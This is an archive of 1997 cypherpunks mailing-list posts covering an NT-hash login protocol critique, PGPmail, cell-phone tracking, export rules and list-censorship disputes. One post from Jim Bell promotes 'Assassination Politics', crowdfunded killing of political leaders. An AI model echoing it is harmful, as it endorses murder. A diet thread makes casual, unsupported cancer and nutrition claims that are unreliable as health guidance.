Date: Sun, 26 Jan 1997 15:29:31 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Hi again, and an invitation to kibitz
Message-ID: <199701262329.PAA27341@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In addition to David Wagner's comments, I'd like to point out
several more weaknesses.
- Would Kerberos work just as well?  No sense reinventing the 3-headed dog.
- You're not authenticating the server to the client.
- If the challenge is different every time, the server needs to 
  keep the user's password in plaintext (unlike Unix encrypted passwords.)
  This means that attacks on the server's file system can steal it,
  and since the password is used for session encryption, it can be
  used to forge sessions as well.
- Alternatively, if the challenge is always the same (per user),
  then even one eavesdrop kills you, as with Unix passwords.
- Since you're using the same 7-byte password hash for the
  first third of the authentication as for the session key,
  the dictionary attack on E(challenge, First-seven-bytes)
  gives you the session key, so you can eavesdrop just fine.
  If the password is too short, you can then dictionary-attack MD4
  to find it also.

- There's a Diffie-Hellman variant that can do logins.  
  Unfortunately, it's patented (by some guy from Siemens in Paderborn DE, 
  who patented it in Germany about 2 years before I rediscovered it, 
  and patented it in the US about 6 months before :-)  
  It covers any login methods using commutative hashes H1(H2(x)) == H2(H1(x)).
  The Siemens version extends it to authenticate both ends to each other;
  I extended it to get a session key for encryption and/or authentication.
  This really shouldn't have been patentable - my rediscovery shows that
  it must be pretty obvious to anyone skilled in the trade :-), and rather
  than reinventing the wheel, I was reinventing the hubcap or tire swing....

> In article <199701140755.CAA04514@mail.intercon.com>,
>Amanda Walker <amanda@intercon.com> wrote:
>> (a) Server sends 8-byte challenge to client
>> (b) Client sends Microsoft NT authentication response to the server
>>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>>     the challenge three times, send the 24-byte result as the response).
>> (c) If authentication fails, close the connection.
>> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>>     DES in CFB mode.  Until April :), the DES key used is taken from the
>>     first 7 bytes of the MD4 hash of the password (after April, we expect
>>     to switch to Diffie-Hellman key exchange first, followed by a revised
>>     authentication handshake).
>
At 11:20 AM 1/17/97 -0800, David Wagner wrote:
>Some weaknesses:
>- It doesn't resist dictionary attacks (no salt) when the attacker can make
>    one active probe (forge a fixed challenge and get the client's response).

In particular, an 8 byte challenge is nowhere near enough, though the 
average million-dollar DES-cracker won't be as easy to adapt for 2**64 
cycles of hash+DES*3 - and don't handle each third separately!
At least do something like 3DES-EDE and return an 8-byte response,
or hash the three output bytes together and send the hash.
Using >=16 bytes of challenge would be better, or >=24 if you 
want printable challenges.

>- It doesn't stop replay attacks (replay a fixed challenge, now the same DES
>    key is used, so replay DES-encrypted session data).

You may not be able to replay a given challenge usefully, assuming it's
different each time, but MITM attacks work ok after you've cracked the
password by dictionary attack in the previous round.

>- DES-encryption doesn't provide message authentication against active
>    attacks; use a MAC too.
>- You should use independent DES keys for each direction of the connection.
>- Also the DES encryption key doesn't change for each connection.  It should.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 26 Jan 1997 15:27:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701262327.PAA27285@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 11:45 AM 1/26/97 -0500, Duncan Frissell wrote:
> >Anyone running Windows 95 who hasn't grabbed the beta of PGPmail 4.5 from 
> >http://www.pgp.com/ is crazy.  It works seamlessly with Netscape 3.0 and 
> >Eudora Pro 3.0.  The 30-day demo of Eudora Pro is at:
> http://www.eudora.com/prodemo/.
> 
> PGPmail 4.5 now has beta 10 available - the download is smaller than beta 9.
> 
> Eudora Lite 3.0.1 also supports plugins, so it should work.
> It also supports filters, which has allowed probable flames to
> quietly vanish from my inbox :-)
> 
> BTW, from a non-government-user perspective, the questions asked to establish
> export permission are nicely worded.  Rather than asking
> "Are you a US Subject", and "Do you agree to follow every vague
> detail of the Export Laws", as some sites do, it asks
> > - Is the requesting computer located within the United States? [N/Y]
> > - Do you acknowledge affirmatively that you understand that PGPmail is 
> > subject to export controls under the Export Administration Act and 
> > that you cannot export the software without a license? [N/Y]
> > - Do you certify that you are not on any of the United States Government's 
> > lists of export-precluded parties or otherwise ineligible to receive this 
> > transfer of cryptographic software subject to export controls under the 
> > Export Administration Act? 
> and then has a button saying 
> 	"I certify that the above answers are truthful",
> which is flexible enough that I don't have to feel bad about not being
> _absolutely_ certain that my packets aren't getting routed through Canada,
> or that I'm not on some list that bans telephone company employees from 
> downloading cryptographic software on Tuesdays, or whether 
> computers 30 feet above the US are subject to this week's export rules :-),
> or having to say "No" to Question 2 because I understand that you _can_
> export this software without a license (just do it) even though the Feds
> disapprove....
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

It doesn't seem to work with the mail program in MS IE, or MS WordMail.
I understand why some people don't like Microsoft, but excluding
support for popular Microsoft programs seems contrary to their
stated goal of promoting the use of crypto.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 26 Jan 1997 15:26:34 -0800 (PST)
To: cypherpunks <toto@sk.sympatico.ca>
Subject: Re: Cellular phone triangulation
Message-ID: <199701262326.PAA27242@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 25 Jan 1997, Toto wrote:

>   So far, as a result of the plethora of laws passed to enable law
> enforcement agencies to 'catch drug dealers', I have seen only a
> few minor criminals who are claimed to have been brought to justice
> as a result of these laws, while seeing documentation of hundreds
> and thousands of ordinary citizens being harassed and having their
> human rights violated by these same laws.
>   And still, we have people like Mark, who seem relatively intelligent
> and informed but who still echo the party-line of Big Brother when
> He proclaims that the average citizen must be subjected to new and
> better ways to monitor the movements and activities of His citizens
> in order to 'protect' them from 'drug dealers'.

Somehow, I thought my original post was ambiguous enough to be interpreted as
support for the government's expansion of surveillance capabilities or the War
on Some Drugs.  Nothing could be further from the truth.  I believe that the
original intention of requiring cell phone providers to have the ability to
triangulate all the signals they receive was so that drug dealers and other
Enemies of the People could be caught easier.  Since, drug dealers frequently
use cell phones to avoid tracking, I thought that this was probably the primary
justification.

Just like the current GAK proposal, the government has found another way to
justify a proposal to fool people into thinking that it's really for their own
good.  Many people have grown tired of hearing about the government's
"compelling interest" in fighting "crime."  The government claims that GAK is
not only for violating people's rights by trying to get people to believe that
it is a valuable service because it will allow people to recover their crypto
keys if they ever lose them.  In the case of the cell phone proposal, the
promise of better 911 service is used to justify this latest violation of civil
rights.


Mark
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=N8mn
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 17:10:50 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701270110.RAA00824@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:54 PM 1/25/97 -0500, Mark M. wrote:

>I wonder how expensive it would be to put a GPS receiver in a cell phone and
>have the option to transmit the coordinates on a separate channel.  There
>would be little difference between this and forcing cell phone companies to
>triangulate every call.  The primary motivation for this is almost certainly
>"location escrow" to make it easier for the feds to track drug dealers.

It would only be marginally reliable.  GPS signals are so weak (coming from 
satellites in 11,000 mile orbits) that reception outdoors is sometimes iffy 
if the signals have to go through foliage.  Reception indoors is probably 
only rarely do-able.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 18:26:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Internet, Countries, Nationalism, etc.
Message-ID: <199701270226.SAA03548@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Jim Choate

blanc has put forth an interesting assertion relating to nationalism and 
the
Internet. If he is correct then we will have a one world government (ie
technocracy) whether we like it or not.
...................................................................


When your little company grows up to become a big World Leader in robotics, 
will you then be a member of this technocracy, participating in a one-world 
government, whether we like it or not?   Will you sit on the Board of 
Honchos making important decisions about net access for all, perhaps active 
in the Chamber of Borgs?

:>)
    ..
Blanc
p.s.   I be femme








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 18:27:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701270227.SAA03694@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:30 AM 1/26/97 EST, Dr.Dimitri Vulis KOTM wrote:
>blanc <blancw@cnw.com> writes:

>> The identifications of self as a citizen who must be identified with the
>> vote of a majority, and consequently suffer the perception of oneself as
>> someone who "voted to accept restrictions of the net, therefore should not
>> be helped against it", is becoming irrelevant.   When a distress call goes
>> out from someone anywhere on the planet, the assistance and relief may come
>> from anyone anywhere who chooses to rally others and provide assistance.
>>
>> It is not the traditional "we" against "them", and it is not the "citizens
>> of the US" helping those who "voted themselves a Hitler into power" or
>> "voted themselves into restrictions against free speech".   It is "those of
>> us who appreciate the liberty in communications technology" against "those
>> who would take it away".
>
>However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
>not be permitted on the 'net. It also bombs Iraq and murders their civilians
>in retaliation for something their governments supposedly did.

"I have a solution to that problem."

Seriously!  

Look, I've proposed what I consider to be a remarkably consistent method to 
prevent the kind of political tyranny that you criticize, and I don't see 
any recognition of this fact.  

For the benefit of the masses, the AP ("Assassination Politics") solution 
to, for example, the Iraq problem would be to allow anyone and everyone in 
the world to donate money towards the death of Saddam Hussein, and any 
leadership which survives him, until that leadership satisfies the public 
that they won't be following in Hussein's footsteps.  Simple.  Economical.  
And, dare I say it, fair.

I believe that the Coalition spent $60 BILLION dollars doing the Iraq war, 
and they didn't even get rid of Saddam.  I'm sure AP would have done the 
task for under $100 million, and possibly far less. (and that money would 
have been collected by donation, not stolen in taxes.  Much of that money 
would have come from the Iraqi people themselves, BTW.)

 There would be few if any civilian casualities, no hunger or poverty caused 
among the people.  Even their soldiers would be relatively unaffected, 
except that their militaries (as well as ours) would be disbanded.

Reminds me of the punchline to that joke.

"He sent two boats and a helicopter!  What more did you want?!?"




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 15:27:03 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701262327.PAA27273@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, snow wrote:

> > > getting this degenerate disease when they get older.  Check out the
> > > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > > One quote:  "My soil after a few years was like asbestos".
> > As far as I understand, 1) no one really understands why cancer rates
> > are up so much and 2) since people live longer, they are more likely do
> > have cancer.
> 
>    While I don't claim to to be a Medical Researcher, I think that 1) should
> be reworded to be "No one is willing to _admit_ why cancer rates are up so
> much". You (generic) can look at certain population groups where there is 
> low incidence(sp?) of cancer, and then look at our society and it becomes
> pretty obvious. 
> 
>    Breast Cancer is exteremely rare in japenese women living in Japan. Thes
> same women <excuse me while I light a cigerate> move to the US, start living
> like American start developing breast cancer at a rate very similar to that
> of American born women. 

	lack of olive oil intake?? i head that olive oil is esp. necessary
	for women, as well as milk.

> 
>    IMO the biggest reason that "no one really understands why cancer rates are
> up..." is that "they" are looking for the single bullet when reality isn't 
> usually that simple. 
> 
>    I would be willing to make a bet that if you could get a large population
> group to do the following, you would see a large statistical reduction in the 
> incidence(sp?) of cancer.
> 
> 	1) Eat a lot of fruits, vegetables & breads and cerials. Stay away from
> large quantities of meat. Try to reduce your fat intake to under 20 grams a 
> day (USDA recommends around 40) 
> 
>         2) Exercise regularly. Ride a bike or walk/run to work. 

	i think it's good also to exercise outdoors as well as your
	indoor nordictrack machines..sun and air is esp. necessary;
 
> 	3) Avoid excess in all things. 

	even chocolate? :)
 
> > What you said is one of the hypotheses. I personally feel that
> > environment and bad greasy food are other major contributors.
> > The way they cook all these fries, with overheated grease, is very
> > bad.
> 
>      BINGO!. 

	EAt well, and smile too ;)

> 
>      Sorry, gotta go, it's dinner time and McD's is calling...

	a good laugh goes a long way ... ;)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Sun, 26 Jan 1997 18:29:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) Just Say No to Telcom "Reform"
Message-ID: <199701270229.SAA03756@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thought this might interest you guys.


------- Forwarded Message Follows -------
Date:          Sun, 26 Jan 1997 13:00:14 -0800 (PST)
From:          Audrie Krause <akrause@igc.apc.org>
Subject:       Just Say No to Telcom "Reform"
To:            iaj-futuremedia@igc.apc.org

* * * * * * * * * * * * * * * * * * * * * * * * * 
ACTION ALERT     Please re-post where appropriate
* * * * * * * * * * * * * * * * * * * * * * * * *

Dear Friends,

On February 8, the first anniversary of the Telecommunications Reform
Act of 1996, NetAction and the Center for Educational Priorities are
launching a month-long Internet demonstration to call attention to the
wide gap between the rhetoric and reality of this sweeping
legislation.  

President Clinton and Congress promised the American people that
enactment of the Telecommunications Reform Act would lead to a
cornucopia of technological innovations that would change the nation's
cultural frontiers, expand our choices, dazzle our eyes, and inform
our minds.  Instead, we've been censored in cyberspace, subjected to
TV ratings systems, and prevented from experiencing the benefits of a
truly competitive marketplace by the emergence of "cartels" created by
mega-mergers in the telecommunications and media industries.

This is not reform!  And it's not too late to demand that our decision
makers deliver on what they promised us on February 8, 1996: MORE
competition, MORE consumer choices, MORE widespread access to
information technology.

The Center for Educational Priorities and NetAction are spearheading
this demonstration in an effort to pressure the Federal Communications
Commission and other state and national regulatory agencies to ensure
that the Act is implemented in a way that truly benefits the public. 
We invite you to join this effort by linking to the site at
<http://www.cep.org/protest.html> for one month beginning on February
8.  By linking to the protest site, you will be adding your voice to a
united demand for true telecommunications reform.

The site is currently under development.  When completed, it will
feature brief summaries of the impact the Act has had in its first
year on telecommunications and technology policy, media ownership and
content, and censorship, along with suggested actions to help ensure
that implementation of the Act truly benefits the public.  We are also
creating extensive links to other organizations working on these
issues, as well as to other sites with current information on
censorship, mega-mergers, universal service, school hook-ups, and the
v-chip. We welcome suggestions for additional links to add.

Please let us know if you will participate in the demonstration by
contacting NetAction, by email at akrause@igc.org, or by phone at
415-775-8674. Thanks!

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 08:43:38 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701271643.IAA27438@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> It is obvious to me that those who are waving the bloody flag of
> "censorship" are doing so for either of two reasons.  The ones to
> whom I am the most sympathetic are those who simply do not have
> a clear and coherent understanding of rights in an anarchistic,
> volunteeristic society.  

You need have no sympathy. Those members of this list see it as it 
is, a list that was supposed to be, in some small way, a "model" of 
an anarchistic discussion forum for the subject of cryptography, 
either technically (later split into coderpunks) or at a 
sociopolitical level. That was the intended direction of the list, it 
has rapidly disentigrated over recent months into a censored list 
where the elite post to the main list and anyone else is nearly 
always relegated to a seperate list for the crypto-untermenshcen.

> The ones for whom I have no sympathy are those whose obvious 
> goal is disruption of the Cypherpunks list and who are hiding
> behind a phoney interpretation of "free speech."

You may make as many excuses as you like, the bottom line is you have 
become what you profess to hate most, a censor. If having the right 
to post freely on a list that was supposed to operate as a free and 
open anarchic forum is not a valid interpretation of free speech I 
cannot envisage any more elegant example.
 
> I think both of these groups are intellectually dishonest in the
> extreme when it comes to telling others how this list should be
> run.  I doubt any of them would permit the sort of disruptive
> behavior that goes on here to go unchallenged in salons they
> sponsor in their own homes or on Net lists that they themselves 
> maintain.

If you want to talk about intellectual dishonesty try the following:

Imagine if you will a list, the original purpose of which was
to act as a free and open forum for discussion of cryptography and 
related issues. A list which proudly proclaims in its "welcome to 
the list" message:

We do not seek to prevent other people from
speaking about their experiences or their opinions.

Now imagine that list falling into a state of content based 
censorship and censorship based on an unspoken but ever present 
class structure, then ask yourself which list you know that most 
closely matches this description, it`s a pretty revealing exercise.

> This is a voluntary list folks.  We tried incivility and that did
> not work.  Right now we are experimenting with reasoned discourse
> in an atmosphere of interpersonal respect and good will. 

For "Reasoned discourse in an atmosphere of interpersonal respect and 
good will" read "content based censorship".

> If most list members like the change, it will continue.  If not, then we
> can go back to the swill or perhaps try something else.  In the
> meantime, get over it.  If you really like flames and spam, show
> John and me how it really should be done.  Start another list.  
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

It is a foregone conclusion that the upper class of list members will 
have no dispute over the censorship and therefore the change will be 
permenant, it is a form of online ethnic cleansing whereby the lists 
clique of illuminati have taken it upon themselves to remove the 
elements of the list they feel endanger their position of superiority 
and respect, the point they have missed is that they have no 
credibility whatsoever after this incident, as well as a number of 
other such occurances and therefore are only isolating themselves 
into their own little world.

"cypherpunks will make the networks safe for censorship"
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 09:31:47 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701271731.JAA28633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From:          paul@fatmans.demon.co.uk
> To:            "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Date:          Sat, 25 Jan 1997 19:12:05 +0000
> Subject:       Re: Rejection policy of the Cypherpunks mailing list
> Cc:            cypherpunks@toad.com
> Priority:      normal

Can anyone tell me if my previous message with the above headers (end
of message quoted in below) was sent to the censored list or to 
cypherpunks-flames? - I subscribe to the unmoderated version of the 
list so do not get to see what goes where....

> I do not have the resources to run such an unmoderated list but I 
> hope someone on this list does and is good enough to start such a 
> list, cypherpunks is a shell of what it once was. 
> 
> Also, please note this message will be junked onto cypherpunks-flames 
> even though it contains no flames or flame bait because it dares to 
> criticise the censorship of the list (once again Sandy, I give you an 
> opportunity to prove me wrong).


 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 18:27:53 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701270227.SAA03686@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Dr.Dimitri Vulis
> However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
> not be permitted on the 'net. It also bombs Iraq and murders their
> civilians
> in retaliation for something their governments supposedly did.

> The U.S.G. has many more resources than most of us to do these things,
> including equipment, cooperative troops, money, and recognition from other
> governments.   If other nations disagree with the U.S.G. they have the
> resources to discuss, bargain, negotiate, criticize, form alliances, take
> their chances and retaliate, etc.

I wish this were true, at least of nations which would be friendly
to someone like me (white, Western, etc.).  A bully on a school
playground can always be knocked down, no matter how big or how
vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
enough you get nuclear, chemical, and/or biological stuff waved at
you - if you get into a hot war like Desert Storm, your country is
carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

How does one country get on top and terrorize the whole world?  By
following Tom Wolfe's intimation concerning the pirates: "The people
on the East coast were constantly victimized because they couldn't
comprehend just how vicious and ruthless the pirates really were"
(quote approximate).

People who read this might argue that the "true power" is international
now, and not confined to the USA.  I say it doesn't matter which end
you look at it from, the "true power" has been concentrating and
centralizing itself for some years now, and you can use any nation-label
you like.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 18:28:01 -0800 (PST)
To: Robert Rothenburg Walking-Owl <cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701270228.SAA03696@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:03 AM 1/27/97 GMT, Robert Rothenburg Walking-Owl wrote:
>On Thu, 23 Jan 1997 17:32:56 GMT, John Savard <seward@netcom.ca> wrote:
>
>>This is surprising, given that (in Kahn on Codes) Mr. Kahn expressed
>>forceful opinions
>
>>- against certain aspects of export controls,
>
>>- questioning the value of the NSA's mission, in contrast to social
>>demands on government revenues.
>
>I didn't find his opinions forceful in Codebreakers, 2nd. ed.  
>
>Questioning the NSA's purpose vs. advoctating GAK are not incompatible.
>
>>However, while I oppose making key escrow mandatory in general, and
>>share the general suspicion of a voluntary Clipper, if Mr. Kahn's
>>support for Clipper is limited to cellular telephones, then I have no
>>quarrel with such a position.
>
>>Encryption is illegal, without special permission, for use over the
>>airwaves, particularly where mobile radio is involved. This is a
>>long-standing restriction, and not unreasonable. Private communication
>>between people at home is one thing, but allowing criminals to closely
>>coordinate their activities on the move is another.



It's odd that I can't seem to find the original message here.  Contrary to 
the original claim, encryption over radio is generally legal.   (One noted 
exception to this is ham radio...)


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 26 Jan 1997 15:27:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular Encryption Docs
Message-ID: <199701262327.PAA27300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to David Wagner and Steve Schear, we've learned about the
latest documents on cellular encryption which supercede the
1992 CAVE document, Appendix A to IS-54, which contained the CAVE 
algorithm. Here are the latest, followed by ordering information.

  TIA/EIA/IS-136.1-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Digital Control
  Panel, October, 1996, 372 pp. $350.00.

  Addendum No. 1 to IS-136.1-A, November, 1996, 40 pp. Free.

  TIA/EIA/IS-136.2-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Traffic Channels
  and FSK Control Channel, October, 1996, 378 pp. $310.00.

  TIA/EIA-627 -- 800 MHZ Cellular System, TDMA Radio Interface, 
  Dual-Mode Mobile Station - Base Station Compatibility
  Standard, June, 1996, 258 pp. $120.00.

These documents can be ordered from:

  Global Engineering Documents
  15 Inverness Way East
  Englewood, Colorado 80112
  Telephone: 1-800-854-7179

However, each of the documents lists the following related 
supplements which contain "sensitive information" and may be 
obtained by US/CA citizens from TIA by signing a Non-Disclosure 
Agreement and acceptance of export restrictions:

  Appendix A to IS-136.

  Appendix A to 627.

  Common Cryptographic Algorithms.

  Interface Specification for Common Cryptographic Algorithms.

These controlled documents can be requested by calling Ms. Sharon
Vargish at 1-703-907-7702, who will fax an NDA, and upon receipt of
the completed form, will send the controlled documents at no cost.

Here's the NDA:

         AGREEMENT ON CONTROL AND NONDISCLOSURE OF
              COMMON CRYPTOGRAPHIC ALGORITHMS
          REVISION A TO IS-54, IS-95, AND IS-136
      [Note: 627 supercedes IS-54; IS-95 is for CDMA]


"I, _________________________, an employee/consultant/affiliate
       (typed name)

of __________________________, hereafter, "the company,"
      (Company name)

_____________________________
      (Company address)

_____________________________

and a United States or Canadian citizen, acknowledge and understand
that the subject documents, to which I will have access contain 
information [which] is subject to export control under the
International Traffic in Arms Regulations (ITAR) (Title 22, Code
of Federal Regulations, Part 120-130). I also understand that the
subject documents represent valuable, proprietary and confidential
business information of TIA and its members. I hereby certify that
this information will be controlled and will only be further 
disclosed, exported, or transferred according to the terms of the
ITAR.

______________________________       _____________________________
Signature                            Date

______________________________       _____________________________
Printed Name                         Witness

______________________________       _____________________________
Title                                Printed Name of Witness

[End NDA]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 26 Jan 1997 15:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Humor] Crypto in Traveller (a game)
Message-ID: <199701262355.PAA27990@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

I thought I would pass this along to demonstrate that all uses of crypto are
not 'real world'...

Hope you enjoy.

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com

Forwarded message:

> To: traveller@MPGN.COM
> Subject: Re: Aperture Synthesis, Aegis
> Date: Sun, 26 Jan 1997 21:40:18 +0000
> 
> At 08:15 AM 1/26/97 +0000, you wrote:
> <snip>
> >For example, at 5 ls, you have ship A sending data to ship B, which has
> >to know "exactly" how long it took for the data to cross the gap, as
> >that's one of the parameters in the calculations. 
> >
> >If it's "exactly" 5 seconds, then each ship "combines" the data it
> >receives directly with the data received 5 seconds later from the other
> >ship. The combining involves various things like trig and other messy
> >stuff. But it all boils down to "A saw X1 from direction Y1 at time Z1, B
> >saw X2 from Y2 at Z2". You combine the info and triangulate. 
> >
> >So at 5 ls, you have a "data lag" of the 5 seconds it takes the signal
> >to cross the distance *plus* the processing time. 
> >
> >And since the distance *will* vary, even if only by a little bit, that
> >changes the point in the your datastream that you are comparing with
> >the datastream from the other ship.
> >
> 
> Could we presume that vessels operating together would have some type of
> synchronized timekeeping, such as an atomic clock, in each ship, with each
> message between ships being time & velocity stamped so that each receiver
> could adjust the data for integration to local data? 
> 
> We should also assume a really good (and closely gaurded) encryption on the
> interchanges, or enemy intercepts would be right dangerous.
> 
> Adventure possiblity: trying to obtain a given unit's encryption code or
> seeking to recover said code.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 19:56:28 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
Message-ID: <199701270356.TAA06710@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > Nurdane Oksas wrote:
> > >     i think it's good also to exercise outdoors as well as your
> > >     indoor nordictrack machines..sun and air is esp. necessary;

> > but remember, tanning will kill ya.

>         Yes it will; Not a fan of tanning myself...it also causes lots
>         of skin problems, have seen women age too soon tanning;
>         we don't go outside naked here in NorthEast...do remember;

The real babes in So. Cal. go to tanning salons. That way the evenly-
distributed tan looks best with, say, a pure white bikini.  You can
go to the beach, of course, and hang out with the hoi polloi, but
it's mostly kids with pimples and stuff.

BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
approx. 3 years old.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 17:10:48 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701270110.RAA00823@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 1. The subscribers have spoken by staying put, or,
> 2. The subscribers are so lazy and unaware of what's going on that
>    they've just left things as is.

> Now, in my opinion, we've come to this:  Some people here will hold
> the optimistic view of the bulk of the subscribers, and others will
> hold the pessimistic view (the bulk will presumably be in-between).

In case of 2, they are probably not worthy of your help.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 26 Jan 1997 17:10:46 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
Message-ID: <199701270110.RAA00819@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> 	i think it's good also to exercise outdoors as well as your
> 	indoor nordictrack machines..sun and air is esp. necessary;

but remember, tanning will kill ya.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Sun, 26 Jan 1997 19:56:24 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: overview.htm (fwd)
Message-ID: <199701270356.TAA06702@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 26 Jan 97 at 2:19, blanc wrote:

> >Igor Chudov @ home wrote:
> >>>Jim Choate wrote:
> >>>>>Dr.Dimitri Vulis KOTM wrote:
> >>>>>>>irrelevant@nowhere.com wrote:
> >>>>>>>>>>Dale Thorn wrote:
> 
> It can be said 100,000 times, but it still comes out the same:
> Just as in "The only cure for bad speech is more speech", "the only
